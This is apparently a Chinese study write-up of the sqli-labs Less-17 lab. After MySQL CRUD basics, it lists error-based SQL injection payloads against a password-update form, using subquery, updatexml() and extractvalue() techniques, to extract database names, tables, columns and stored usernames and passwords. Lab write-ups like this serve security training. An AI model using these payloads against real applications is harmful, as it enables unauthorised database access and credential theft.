sqlilabs靶场记录update型(三)

mysql增删查改

增加一行数据:insert

insert into users values('15','test','test');

删数据:delete

delete from table_name;
delete from table_name where id=1;

删结构:drop

删数据库: drop database 数据库名;
删除表: drop table 表名;
删除表中的: alter table 表名 drop column 列名;

修改:update

修改所有:update 表名 set 列名='新的值,非数字加单引号';
带条件的修改:update 表名 set 列名='新的值,非数字加单引号' where id=数字;
update users set username='test2' where id=15;

less-17基于错误的更新查询POST注入

这关的场景是登录后再修改密码界面注入,而非登录时

image-20220317143145469

那么这里既然我们已经登录进去了,那么肯定知道一个用户名和密码吧.不然咋登进去的呢.这里我们使用dumb用户为例

这里的页面是进行密码修改,那么肯定会有对数据库里面密码数据的更新.而数据的更新肯定会用到update函数,但是改谁的密码呢,肯定也是需要查询的.

判断闭合方式

uname=Dumb & passwd=1 	回显成功更改密码
uname=Dumb & passwd=1' version for the right syntax to use near 'Dumb'' at line 1
uname=Dumb & passwd=1" 回显成功更改密码

这里有报错语句,且是单引号进行闭合

下面是查询username的源码

@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

从这里我们可以看出,在接受用户名之后,会根据uname查询数据库的username和passwd,如果uname存在的话则用passwd替换password,并显示flag1.jpg若不存在则显示slap1.jpg,

在用户名正确之后,页面能够返回mysql的错误信息,这就可以利用子查询注入在错误信息中返回想要的数据,注意这里的报错语句实update语句,查询用户名语句已经执行完成,并返回成功了

子查询注入

用户名:
uname=Dumb&passwd=1' or (select 1 from (select count(*),concat_ws('-',(select user()),floor(rand()*2))as a from information_schema.tables group by a) b) where username='Dumb' -- #
数据库:
uname=Dumb&passwd=1' or (select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b) where username='Dumb' -- #

updatexml()注入

数据库:
uname=Dumb&passwd=1' or updatexml(1,concat('#',(database())),0) -- #
uname=Dumb&passwd=1' and updatexml(1,concat('#',(database())),0) -- #
数据表:
uname=Dumb&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),0) -- #
列名:
uname=Dumb&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1) -- #

爆数据时出现了错误

uname=Dumb&passwd=1' and updatexml(1,concat('#',(select concat(id,'#',username,'#',password) from users limit 0,1)),0) -- #

image-20220317145527078

不能在FROM子句中为update指定目标表“users”不能先select表中的某些值,再update这个表(在同一语句中)。

解决方法:将select出的结果作为派生表再select一遍,这样就规避了错误

uname=Dumb&passwd=1' and updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0) -- #

这里的错误信息只显示了一部分,使用了limit偏移注入,所以没有一次性输出所有数据(但可以输出最大32个字符的数据,因updatexml最大爆32个字符),

uname=Dumb&passwd=1' and updatexml(1,concat('#',(select * from (select group_concat(concat_ws('#',id,username,password)) from users) a)),0) -- #

image-20220317145720051

extractvalue()注入

爆数据表:
uname=Dumb&passwd=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))-- #